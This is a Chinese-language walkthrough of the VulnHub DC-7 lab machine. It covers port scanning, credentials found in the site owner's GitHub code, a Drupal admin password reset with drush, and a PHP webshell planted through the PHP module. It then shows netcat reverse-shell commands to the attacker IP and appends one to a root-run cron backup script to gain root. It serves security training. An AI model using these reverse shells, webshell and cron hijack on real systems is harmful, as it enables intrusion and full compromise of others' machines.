环境配置

vulnhub 下载此靶机,下载地址如下:

1
https://download.vulnhub.com/dc/DC-7.zip

将靶机设置为 NAT 模式,开机即可,配置说明如下:

1
2
攻击机ip:192.168.52.128
靶机ip:192.168.52.134

信息收集

端口扫描

首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.134

1
nmap -sP 192.168.52.0/24

使用 Nmap 全面扫一下开放的端口和运行的服务

1
nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.134

扫描结果如下:系统开放了一个 SSH 服务(7744 端口)、一个 HTTP 服务(80 端口)

1
2
3
4
5
6
7
8
9
10
11
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
|_/index.php/comment/reply/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Welcome to DC-7 | D7
|_http-generator: Drupal 8 (https://www.drupal.org)

社工账密

经过一系列信息收集和漏洞探测,均没有任何发现和漏洞。

在网站底部有一个标识 @DC7USER,在 github 上搜一下找到项目源码。在 config.php 配置文件中找到一个账号密码

网站后台尝试登陆失败,端口还扫到一个 ssh 端口,猜测 ssh 账密,成功登陆拿到 dc7user 用户权限

权限提升

dc7user权限

ssh 登陆后等待一会会收到一个提示 You have new mail in /var/mail/dc7user

查看该文件,发现是 dc7user 接收到的邮件,这些邮件都是由系统的 Cron Daemon(定时任务守护进程)发送的,报告了 /opt/scripts/backups.sh 脚本的执行结果。

查看 /opt/scripts/backups.sh 文件的权限,文件时 root 权限用户创建的,www-data 组的用户可读可写可执行,其他用户不可写

1
2
dc7user@dc-7:~$ ls -al /opt/scripts/backups.sh
-rwxrwxr-x 1 root www-data 556 Apr 16 00:46 /opt/scripts/backups.sh

查看 /opt/scripts/backups.sh 文件的内容,是执行一些 shell 命令

那么就有思路了,先拿到 www-data 权限,将反弹 shell 命令写入 backups.sh 文件,等待定时任务自动 以 root 权限执行,就能获得 root 权限的 shell

www-data权限

在网站目录使用如下 drush 命令更改网站后台密码为 admin,从而以账密 admin/admin 进入后台

1
drush user-password admin --password="admin"

可以在页面直接写入 php 页面执行代码,但是由于 Drupal 8 不支持 PHP 代码,所以需要先安装插件

1
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

安装完成后,导入插件并启用,然后在 Content 页面编辑页面,添加一句话木马,保存并刷新页面使一句话木马生效

然后使用蚁剑连接执行反弹 shell 命令,攻击机开启监听,即可拿到 www-data 权限的 shell

1
nc -e /bin/bash 192.168.52.128 2233

www-data 对 /opt/scripts/backups.sh文件具有写入权限,再将一个反弹 shell 命令写入文件,攻击机开启监听,等待定时任务执行即可拿到 root 权限的 shell

1
echo "nc -e /bin/bash 192.168.52.128 5566" >> /opt/scripts/backups.sh